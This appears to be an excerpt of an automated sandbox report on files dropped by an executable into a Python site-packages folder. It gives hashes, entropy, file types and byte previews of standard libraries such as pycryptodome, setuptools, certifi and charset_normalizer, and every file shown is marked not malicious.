SHA-256:	C0D929DAE831DE91AF2EA4A33E1E17F9237590A823170F2F0252EF4CB1577F9A
SHA-512:	B3DBB0CADCCBD98B1F02EF3CC8D2A0AC2577149265EFA2329357A8E6D3FF1672149266E866A47BFD7360BE629370C7D762A1CB99AB6EE526015305645A5097FA
Malicious:	false
Preview:	o.........Sg.........................@...sJ...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_lib..c_size_t..create_string_buffer..get_raw_buffer..c_uint8_ptr..is_writeable_bufferz.Crypto.Util._strxoray.... void strxor(const uint8_t in1,. const uint8_t in2,. uint8_t out, size_t len);. void strxor_c(const uint8_t in,. uint8_t c,. uint8_t *out,. size_t len);. Nc....................C...s....t.\|...t.\|...k.r.t.d.....\|.d.u.r.t.t.\|.....}.n.\|.}.t.\|...s!t.d.....t.\|...t.\|...k.r1t.d.t.\|.........t...t.\|...t.\|...t.\|...t.t.\|.........\|.d.u.rKt.\|...S.d.S.).a....From two byte strings of equal length,. create a third one which is the byte-by-byte XOR of the two... Args:. term1 (bytes/bytearray/memoryview):. Th

C:\recover\pw\Lib\site-packages\Crypto\pycache\init.cpython-310.pyc.75686856

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.049036743608943
Encrypted:	false
SSDEEP:	6:y/OYB21NXYvAL/tdxmAfTwAvrXGl/llYlekkvuPllfF7kArMDPb9tuabWi9n:COY6ovkxNXjkkU4FUf9oyF
MD5:	72C9BF82904303FCD257029169A59E3E
SHA1:	E4F0E1C378F16EBF734054938686780E88B8C68E
SHA-256:	D3CB91AEDFE78720D28487155E3AFA6CA386A83E0B0DC9D2F2537AB05D308431
SHA-512:	66B959C94E1C02D8B7A0F1728000072C88C021CDAAB7BF0FF73FFEEA89141CEDA9FC5148A82F7E32D0EB57B9F64F86D771C4B680ADB6659955D36D127F9CFF5C
Malicious:	false
Preview:	o.........Sg.........................@...s$...g.d...Z.d.Z.d...d.d...e.D.....Z.d.S.).).Z.CipherZ.Hash..ProtocolZ.PublicKeyZ.Util..Signature..IOZ.Math).............0...c....................C...s....g.\|.].}.t.\|.....q.S...)...str)....0..xr....r.....2C:\recover\pw\lib\site-packages\Crypto\__init__.py..<listcomp>....s......r....N)...__all__..version_info..join..__version__r....r....r....r......<module>....s..........

C:\recover\pw\Lib\site-packages\PyWin32.chm

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	2648456
Entropy (8bit):	7.949054760124481
Encrypted:	false
SSDEEP:	49152:5Nhd+kEm2OzhI+Nngj6fT08X+6KprCITjArEoXnbmhwXxRTirII/1Q9Ti:T2EvngMT0iKprCQArEoXb3/irII/1v
MD5:	236AA06379B48D8F588FA2B7EBDFE9F3
SHA1:	4587C868463649727CCDF7C46636191718BA7F86
SHA-256:	772B99CF23C71C56993FBA2DB86469D399D7DAD43D182E0A59A25DC1C0713B0C
SHA-512:	4F157D940E8151CD7F16FFE9151DA4BEB9FCFF6163C6570078C5E3FB3AEC195EBBE2562E334E27BECDFE8CEEDBF1F7B150FD32A9140B9109D231137471ACF4EA
Malicious:	false
Preview:	ITSF....`........t&........\|.{.......".....\|.{......."..`...............x.......T........................i(.............ITSP....T...................M.......L.......N.......j..].!......."..T...............PMGL8................/..../#IDXHDR....;.../#ITBITS..../#STRINGS....6..n./#SYSTEM....../#TOCIDX....;..P./#TOPICS.......`./#URLSTR....3..../#URLTBL....k..H./#WINDOWS....d.L./$FIftiMain....4..../$OBJINST....u.?./$WWAssociativeLinks/..../$WWAssociativeLinks/Property....q../$WWKeywordLinks/..../$WWKeywordLinks/BTree....0..L./$WWKeywordLinks/Data....\|..{./$WWKeywordLinks/Map....w.Z./$WWKeywordLinks/Property....Q ./_winxptheme.html.......&/_winxptheme__CloseThemeData_meth.html...(..+/_winxptheme__DrawThemeBackground_meth.html...E.i%/_winxptheme__DrawThemeText_meth.html.......0/_winxptheme__EnableThemeDialogTexture_meth.html....4.g%/_winxptheme__EnableTheming_meth.html......C+/_winxptheme__GetCurrentThemeName_meth.html....^.W-/_winxptheme__GetThemeAppProperties_meth.html....5._5/_winxptheme_

C:\recover\pw\Lib\site-packages\_distutils_hack\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6128
Entropy (8bit):	4.5356053660225255
Encrypted:	false
SSDEEP:	96:5KauPveem/xBJCPrGXw+5frsfnCUypLOq6LIrqCWPANPuqlT6+Z:5ePGJ//oKYkpCNsrqoWe6+Z
MD5:	128079C84580147FD04E7E070340CB16
SHA1:	9BD1AE6606CCD247F80960ABBC7D7F78AEEC4B86
SHA-256:	4D27A48545B57DD137AE35376FCF326D2064271084A487960686F8704B94DE4A
SHA-512:	CF9D54474347D15AD1B8B89B2E58B850AD3595EEC54173745BDE86F94F75B39634BE195A3AEF69D71CB709ECFF79C572A66B1458A86FA2779F043A83A5D4CC4C
Malicious:	false
Preview:	# don't import any costly modules.import sys.import os...is_pypy = '__pypy__' in sys.builtin_module_names...def warn_distutils_present():. if 'distutils' not in sys.modules:. return. if is_pypy and sys.version_info < (3, 7):. # PyPy for 3.6 unconditionally imports distutils, so bypass the warning. # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250. return. import warnings.. warnings.warn(. "Distutils was imported before Setuptools, but importing Setuptools ". "also replaces the `distutils` module in `sys.modules`. This may lead ". "to undesirable behaviors or errors. To avoid these issues, avoid ". "using distutils directly, ensure that setuptools is installed in the ". "traditional way (e.g. not an editable install), and/or make sure ". "that setuptools is always imported before distutils.". )...def clear_distutils():. if 'distutils' not

C:\recover\pw\Lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	7549
Entropy (8bit):	5.069711639732088
Encrypted:	false
SSDEEP:	192:gcgPE5vnnnqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3YbkqZPqqq3KqUCwqEMlkgM:Eyvnnnqs+67pqqx0H/8qq/xqqqRuLMXC
MD5:	53CEFA220BD861162AAC87F31EF7CFF1
SHA1:	F5FFB49937DF88E190FE3087E5742E6EEEBEFC67
SHA-256:	2A154FA9BBFAFC9C27CF58E876060DA382D8D568595901F00C8A8AFA31D9BAD0
SHA-512:	29546B74DB984AB5BF982756F18BE1D6BC1D7390B0A8C134B9729EF2CEAAEB5A5A405E064EE9AD24CD0DA646F3571B2001E157881D8E902881B087546EEB3788
Malicious:	false
Preview:	o.......=k;g.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....:C:\winnit\pw\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.d.l.}.\|...d.....d.d...t.j.

C:\recover\pw\Lib\site-packages\_distutils_hack\pycache\init.cpython-310.pyc.29794336

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7550
Entropy (8bit):	5.069217008278344
Encrypted:	false
SSDEEP:	192:RcgPE5v1nnqs8NYd7pqqx0H/8qq/xqqqRuLMJXHge3YbkqZPqqq3KqUCwqEMlkgM:byv1nnqs+67pqqx0H/8qq/xqqqRuLMXC
MD5:	A30D8B16845C7EBB27CE80EFD5FE2EAB
SHA1:	4D245E50E71377777E3F7899F7A5EC7BCEA27FBB
SHA-256:	26ACD3DA52A6397FA31AFD64DC4DA3F3EB68DC1B2C5C50D63F9C9ED363E93F6E
SHA-512:	853CF8F2F33654B208053D0CA7CD5718EE5D9713A3C0D2260FC2010C759456EC3187535597779AF6CA7E9C9264F890C369AB4CDB6804F63357511B4727DCECF4
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.\|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....;C:\recover\pw\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.d.l.}.\|...d.....d.d...t.j

C:\recover\pw\Lib\site-packages\_distutils_hack\override.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.171453562658727
Encrypted:	false
SSDEEP:	3:5QW6BMW2y+CBhTEu:+96W2y+4hx
MD5:	012A3E19D518D130A36BEAF917A091C7
SHA1:	358F87C599947263E8ADF079CB2131A522876AF8
SHA-256:	12EFECF8D17A5486780AA774B5B6C0E70B56932D8864F35DF1EB7A18BB759B3A
SHA-512:	76D17C1246B920B7E71F196876A2FCD6A3E102F10933CAC558DD993B6AA794766D657B85E0A7E56A71DF5F14C2F95A9E6576D81163509BB42DEC0FC0E49B9998
Malicious:	false
Preview:	__import__('_distutils_hack').do_override().

C:\recover\pw\Lib\site-packages\certifi\pycache\init.cpython-310.pyc.75496216

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.910498360448313
Encrypted:	false
SSDEEP:	6:y/G6CeNbsZvEG/Xg6nCbWjN2oZKkArsq4G:CkeNQeGVN2oZxq7
MD5:	D85BB78F20748F87F3EE6D09DDB77F66
SHA1:	23E24F3A0787506F55E95B505F633B725655D02F
SHA-256:	15F80745D0C2EBEE69939777995AB4499FC5872D2A14CE2433C3C3FD5ACBC51D
SHA-512:	7F0BCE8375A4A0FC90683E53F07AECAA62B81BC05DF61662A76072F6E598AE76CED92D3EFF6BB699D479575905CF271FA13066F0E74E8068293C5E060C23213D
Malicious:	false
Preview:	o.........Sg^........................@...s ...d.d.l.m.Z.m.Z...d.d.g.Z.d.Z.d.S.)......)...contents..wherer....r....z.2024.08.30N)...corer....r......__all__..__version__..r....r.....3C:\recover\pw\lib\site-packages\certifi\__init__.py..<module>....s..........

C:\recover\pw\Lib\site-packages\certifi\pycache\core.cpython-310.pyc.75496320

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	4.910210854228122
Encrypted:	false
SSDEEP:	48:9BUoxmgDZLaNAl/g95K3Q8+epPUHq7J8nH:jUC/wcg955epA1H
MD5:	5795DCDDF21682776F0E687CDC147103
SHA1:	300B70629A9D99212CB280E1B20512C15CCFED18
SHA-256:	0D6525B5415E9F91F08C2B0AA628B4E7E3D1FC5FD8A60F595B9662948A8AB1A0
SHA-512:	5F895C1BB5C12EF838CA0A9B744EC9A2F6F81F40F9FB0C58852954B189049EF2ED1405A36E365D221414C0DAC619467F3323466E75184AAF60ED9BB930E07ACB
Malicious:	false
Preview:	o.........SgJ........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.d...Z.e.j.d.k.r0d.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.e.j.d.k.rQd.d.l.m.Z.m.Z...d.a.d.a.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.j.e.f...Z.e.e.d.f...Z.....d.d.e.d.e.d.e.d.e.d.e.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d.S.).ze.certifi.py.~~~~~~~~~~..This module returns the installation location of cacert.pem or its contents.......N..returnc....................C...s....t...d.d.d.....d.S.).N)..._CACERT_CTX..__exit__..r....r...../C:\recover\pw\lib\site-packages\certifi\core.py..exit_cacert_ctx....s......r....)...........)...as_file..filesc....................C...s4...t.d.u.r.t.t.d.....d.....a.t.t.......a.t...t.....t.S...N..certifi..cacert.pem)..._CACERT_PATHr....r......joinpathr......str..__enter__..atexit..registerr....r....r....r....r......where....s..............r....c....................C...s....t.d.....d...j.d.d...S...Nr....r......ascii....encoding).r....r......read_textr....r.

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\init.cpython-310.pyc.65691904

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1553
Entropy (8bit):	5.681693779250836
Encrypted:	false
SSDEEP:	48:x4jbqjQtyat/c2vhCMhju/C/yv+K50eUy:xWbqjQttwZ/C/yvv2eUy
MD5:	4F759CAB2B8AC1771E8971943AC9C92D
SHA1:	38D0934DE15BB92AE9E916804900235812CDB91E
SHA-256:	75D8261EED0C83AC61B0655F74AD7F17ABB5D26BB99C22C9C8B6B144E94A5A66
SHA-512:	F485E29BD007C302BF704B2B547F5CDA465C99218C760B737AFD82A5F1ABA94A2443875702B6B3B900C44486B0F8E5B1E5C8DACCF021AFCB5961202554919108
Malicious:	false
Preview:	o.........SgW........................@...sx...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.e...d.....e.........d.S.).u.....Charset-Normalizer.~~~~~~~~~~~~~~.The Real First Universal Charset Detector..A library that helps you read text from an unknown charset encoding..Motivated by chardet, This package is trying to resolve the issue by taking a new approach..All IANA character set names for which the Python core library provides codecs are supported...Basic usage:. >>> from charset_normalizer import from_bytes. >>> results = from_bytes('B.... ..... ... ..... .. ............ O............!'.encode('utf_8')). >>> best_guess = results.best(). >>> str(best_guess). 'B.... ..... ... ..... .. ............ O............!'..Others methods and usages are available - see the full documentation.at <https://github.com/Ousret/charset_normalizer>..:copyright

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\api.cpython-310.pyc.65692352

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11370
Entropy (8bit):	5.8168170333499445
Encrypted:	false
SSDEEP:	192:HWeJLd8V6fySfPAraft774k4M1Cz9ZZERQOBJzCTrFkYAr64BpmA+ifAgQSK5FQm:HWeJLdcS7ft77cZZaJzCvNm64mA+ifA9
MD5:	C5F79E570B4394BAE39028D998C3630F
SHA1:	B7D9292AF127F36C3D42F974F7A81693CE2EDAE1
SHA-256:	DE045D5F73E987F54DA69F3A693B4560C45BCFD5430417D2E77F7FAEFBC221CA
SHA-512:	5C940B79BD173D815DFDFD9F383AA904EFFEB3F0B4321D506A4FFA12C4630090F0F0086C8C5D574F8D274FD9B55822053CE8C6132569134A58A2FA82BD1CC79B
Malicious:	false
Preview:	o.........Sg.T.......................@...sL...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.. d...Z!e.."..Z#e#.$e..%d.........................d(d.e.e&e'f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d.d...Z,..................d(d.e.d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d d!..Z-..................d(d"e.ee&e.f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e.f.d#d$..Z...................d)d%e.e.ee.e&f...d.e(d.e(d.e)d.e.e.e....d.e.e.e....d.e+d.e+d.e)d.e+d.e+f.d&d'..Z/d.S.)*.....N)...PathLike)...BinaryIO..List..Optional..Set..Union.....)...coherence_ratio..encoding_languages..mb_encoding_languages..merge_coherence_ratios)...IANA_SUPPORTED..TOO_BIG_SEQUENCE..TOO_SMALL_SEQUENCE..TRACE)...mess_ratio)...CharsetMatch..CharsetMatches)...any_specified_encoding..cut_sequence_chunks..iana_name..identify_sig_or_bom..is_cp_similar..is_multi_b

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\cd.cpython-310.pyc.65691904

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9631
Entropy (8bit):	5.510346282985943
Encrypted:	false
SSDEEP:	192:Fq5fjeApoIRl8if8gZ+hjj2mspqjrOBTLpPc7nSgGKO56ytTatX79w/kfTYY:o5f/Tf8g5mymOBT9Pc7nLGKO56yQt7eu
MD5:	C13DA050982A372E566F51421C408F05
SHA1:	926BEFC987801F2D6D28EC47C1B795A090B76B3B
SHA-256:	61AC0E0821A7B7DE2E1D09C7AF8AC799452CFE6F41AC612FD91D701D28206658
SHA-512:	9A6D36B35E952D45056E5ACBF7EFA14335A5A5ADBD920A79E72A3A4B712BF8731611DB3F4EE14D73364EB0C205F96920D472FB25D2659C2AD420D8554E150801
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.e.d.e.e...f.d.d...Z.d.e.d.e.e...f.d.d...Z.e...d.e.d.e.e...f.d.d.....Z e...d.e.d.e.e...f.d.d.....Z!e.e.d...d.e.d.e.e"e"f...f.d.d.....Z#..d0d.e.e...d.e"d.e.e...f.d.d...Z$d.e.d.e.e...d.e%f.d d!..Z&d"e.d.e.e...f.d#d$..Z'd%e.e...d.e.f.d&d'..Z(d%e.d.e.f.d(d)..Z)e.dd.....d1d"e.d,e%d-e.e...d.e.f.d.d/....Zd.S.)2.....N)...IncrementalDecoder)...Counter)...lru_cache).r......Dict..List..Optional..Tuple.....)...FREQUENCIES..KO_NAMES..LANGUAGE_SUPPORTED_COUNT..TOO_SMALL_SEQUENCE..ZH_NAMES).. is_suspiciously_successive_range)...CoherenceMatches)...is_accentuated..is_latin..is_multi_byte_encoding..is_unicode_range_secondary..unicode_range..iana_name..returnc........................s....t.\|...r.t.d.....t...d...\|.....j.}.\|.d.d...}.i...d...t.d.d...D.]/}.\|...t.\|.g.....}.\|.rNt.\|...}.\|.d.u.r4q.t.\|...d.u.rN\|...

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\constant.cpython-310.pyc.65693136

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	30419
Entropy (8bit):	5.88008054943932
Encrypted:	false
SSDEEP:	768:zvZKN0taqbKcwF7wuCDQ/abpp2dmnFu3GJusAVlufzR7c:zvZ6EKcR7mQP8g8luft7c
MD5:	925785BDD41F3186275CE629D321B69C
SHA1:	180CEA4412C0A3AF9836FB0ED10A0C4418CA514D
SHA-256:	494A1B8204208FF28C7D2C032CA1F75275B8B0B43A34AD5C7BABC9840B1D134D
SHA-512:	FC9B8BA1D510ED6B92B8779EB3AE6840515378EA62599977EE37FC7232CF5B18F8E8DEA3C458DEBD90487D3034F8CDB91C2C5C227CB36915A94B1703CC936D1C
Malicious:	false
Preview:	o.........Sg........................@...s~...U.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.g.d...d.e.e.g.e.e.g.d...Z.e.e.e.e.e.e...f...f...e.d.<.d.Z.e.e.d.<.e.d...Z.e.e.d.<.d.Z.e.e.d.<.i.d.e.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d e.d.d!....d"e.d!d#....d$e.d#d%....d&e.d%d'....d(e.d'd)....d*e.d)d+....d,e.d+d-....d.e.d-d/....i.d0e.d/d1....d2e.d1d3....d4e.d3d5....d6e.d5d7....d8e.d7d9....d:e.d9d;....d<e.d;d=....d>e.d=d?....d@e.d?dA....dBe.dAdC....dDe.dCdE....dFe.dEdG....dHe.dGdI....dJe.dIdK....dLe.dKdM....dNe.dMdO....dPe.dOdQ......i.dRe.dQdS....dTe.dSdU....dVe.dUdW....dXe.dWdY....dZe.dYd[....d\e.d[d]....d^e.d]d_....d`e.d_da....dbe.dadc....dde.dcde....dfe.dedg....dhe.dgdi....dje.didk....dle.dkdm....dne.dmdo....dpe.dodq....dre.dqds......i.dte.dsdu....dve.dudw....dxe.dwdy....dze.dyd{....d\|e.d{d}....d~e.d}d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d.....d.e.d.d...

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\legacy.cpython-310.pyc.65695040

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	5.478470180381248
Encrypted:	false
SSDEEP:	48:NwwE8mcebSh3Ue75yubxeNOhsV4m/e+NK29:NwAmcebSyo5yc4NFV4m/e+Nn
MD5:	4EE10A5D886EFD4EE9D2E8F52D5599D3
SHA1:	B88BDA949A491259881D781AD47E2BD59FBBBBF0
SHA-256:	F98CF747BFC7570709318228AE501F6A3ADF5B06D50970C300CE08E802389D91
SHA-512:	ADEACD21EC10CF3FD696AC255F45A5161EB02E2F458D1CBE11C03A2FC9F73A8D56FEA3A5B846C369D6FD7ABD0ED1955604B672E811E5B89277A32E6544DB3809
Malicious:	false
Preview:	o.........SgM........................@...sr...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.d.e.d.e.d.e.d.e.e.e.e.e.e.f.....f...f.d.d...Z.d.S.)......)...Any..Dict..Optional..Union)...warn.....)...from_bytes)...CHARDET_CORRESPONDENCEF..byte_str..should_rename_legacy..kwargs..returnc....................K...s....t.\|...r.t.d.d...t.\|...........d.......t.\|.t.t.f...s#t.d...t.\|.........t.\|.t...r,t.\|...}.t.\|.......}.\|.d.u.r9\|.j.n.d.}.\|.d.u.rG\|.j.d.k.rG\|.j.n.d.}.\|.d.u.rRd.\|.j...n.d.}.\|.d.u.rc\|.d.k.rc\|.j.rc\|.d.7.}.\|.d.u.ro\|.t.v.rot.\|...}.\|.\|.\|.d...S.).aJ.... chardet legacy method. Detect the encoding of the given byte string. It should be mostly backward-compatible.. Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it). This function is deprecated and should be used to migrate your project easily, consult the documentation for. further information. Not planned for removal... :param byte_str: The byte seque

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\models.cpython-310.pyc.65694592

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11514
Entropy (8bit):	5.167725089585784
Encrypted:	false
SSDEEP:	192:q3OuW/wM2HQVZI3mkrM0Af4/W7QeyRhhpermRK+pQCBdjWdIq:qeunM2HQVZIjrdAf4eSvhpeKc+iCHWdD
MD5:	39F1940CD5117AC9C40AFFC512D3EEEE
SHA1:	034F794C614454E52CF46FFC096922B0BA0836BF
SHA-256:	169B91D375D6CE10D3E10ABEFA4720765E225D6996890D2DCF5A596413EDF570
SHA-512:	5F55FC7F8C3BB9A8A2A10AEE802C71926D796104B88E13444CB49527F1B06696FEC4D53AC5828E437320635E49E0860AF08890C420E8E77FE7878AF5030C8440
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d...Z.G.d.d...d...Z.e.e.e.f...Z.e.e...Z.G.d.d...d...Z.d.S.)......)...aliases)...sha256)...dumps)...Any..Dict..Iterator..List..Optional..Tuple..Union.....)...TOO_BIG_SEQUENCE)...iana_name..is_multi_byte_encoding..unicode_rangec....................@...s....e.Z.d.Z...d=d.e.d.e.d.e.d.e.d.d.d.e.e...f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.e.d.e.f.d.d.....Z.d.e.f.d.d...Z.d.e.f.d.d...Z.d>d.d...Z.e.d.e.f.d.d.....Z.e.d.e.e...f.d.d.....Z.e.d.e.f.d.d.....Z.e.d.e.f.d.d ....Z.e.d.e.e...f.d!d"....Z.e.d.e.f.d#d$....Z.e.d.e.f.d%d&....Z.e.d.e.f.d'd(....Z.e.d.e.f.d)d*....Z.e.d.e.f.d+d,....Z.e.d.e.f.d-d.....Z.e.d.e.d...f.d/d0....Z.e.d.e.f.d1d2....Z.e.d.e.e...f.d3d4....Z.e.d.e.e...f.d5d6....Z d?d8e.d.e.f.d9d:..Z!e.d.e.f.d;d<....Z"d.S.)@..CharsetMatchN..payload..guessed_encoding..mean_mess_ratio..has_sig_or_bom..languages..CoherenceMatches..decod

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\utils.cpython-310.pyc.65694816

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8895
Entropy (8bit):	5.45990648893017
Encrypted:	false
SSDEEP:	192:NPkSSo/TPTRTa5Tl1T+T8IunXUd2ZQB4lYuoFaFEj:DSQrBalFA8ImEcyurFo
MD5:	47A491A62A97DBDC42D30A228C81CAA2
SHA1:	7259F2A7E764A26E479644FAC50888FAB8599E1D
SHA-256:	5414DEFEB7CCFD1B6D28DD1B328930779688A686E40CFC7279114692F8B0BDDD
SHA-512:	65936B01F72B4789704B3E5704609E8EC81F3EA351984A7817BB00B2DF910A5AE34FE6A2947B2D523239EE6E13D0143D78AA2D5FBB0F6C3AAAA613B21440A4B5
Malicious:	false
Preview:	o.........Sg.0.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z.e.e.d...d.e.d.e.e...f.d.d.....Z.e.e.d...d.e.d.e.f.d.d.....Z e.e.d...d.e.d.e.f.d.d.....Z!e.e.d...d.e.d.e.f.d.d.....Z"e.e.d...d.e.d.e.f.d.d.....Z#e.e.d...d.e.d.e.f.d.d.....Z$e.e.d...d.e.d.e.f.d.d.....Z%e.e.d...d.e.d.e.f.d.d ....Z&e.e.d...d.e.d.e.f.d!d"....Z'e.e.d...d.e.d.e.f.d#d$....Z(e.e.d...d.e.d.e.f.d%d&....Z)e.e.d...d.e.d.e.f.d'd(....Ze.e.d...d.e.d.e.f.d)d....Z+e.e.d...d.e.d.e.f.d+d,....Z,e.e-e...d...d-e.d.e.f.d.d/....Z.e.e.d...d.e.d.e.f.d0d1....Z/d_d3e0d4e1d.e.e...f.d5d6..Z2e.d7d...d8e.d.e.f.d9d:....Z3d3e0d.e.e.e...e0f...f.d;d<..Z4d=e.d.e.f.d>d?..Z5d`dAe.dBe.d.e.f.dCdD..Z6dEe.d.e.e...f.dFdG..Z7dHe.dIe.d.e8f.dJdK..Z9dHe.dIe.d.e.f.dLdM..Z:dNe.j;dOf.d8e.dPe1dQe.d.d.f.dRdS..Z<..dadTe0dUe.dVe=dWe1dXe.dYe.dZe0d[e.d\e.e...d.e.e.d.d.f...f.d]d^

C:\recover\pw\Lib\site-packages\charset_normalizer\pycache\version.cpython-310.pyc.65695376

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	239
Entropy (8bit):	5.172944918107058
Encrypted:	false
SSDEEP:	6:y/Gl8/z/Oszurb64b/uMkArsQx6G3D8Isi:CU8/z/OsJa0Q8GT8Iv
MD5:	69B3DC5247B2B95F36C10A9E657E23A8
SHA1:	3D34F5EAE4CB978EC2F34D417A82F4BBB65F7B51
SHA-256:	727FAFE251CF5C98DEA7EACD310916ACB64488E1863FBE876A7F541396E8D201
SHA-512:	CB40FE6B3E75AA0558968E8A967EF7506FCD1B2154B7D8BD128BB0B1263CF9505A9ACD1392C8E335610F4B8C0F13710AE745C31598FFFEDF3D0DE7E27157A896
Malicious:	false
Preview:	o.........SgU........................@...s....d.Z.d.Z.e...d...Z.d.S.).z..Expose version.z.3.3.2...N)...__doc__..__version__..split..VERSION..r....r.....=C:\recover\pw\lib\site-packages\charset_normalizer\version.py..<module>....s..........

C:\recover\pw\Lib\site-packages\idna\pycache\init.cpython-310.pyc.65683344

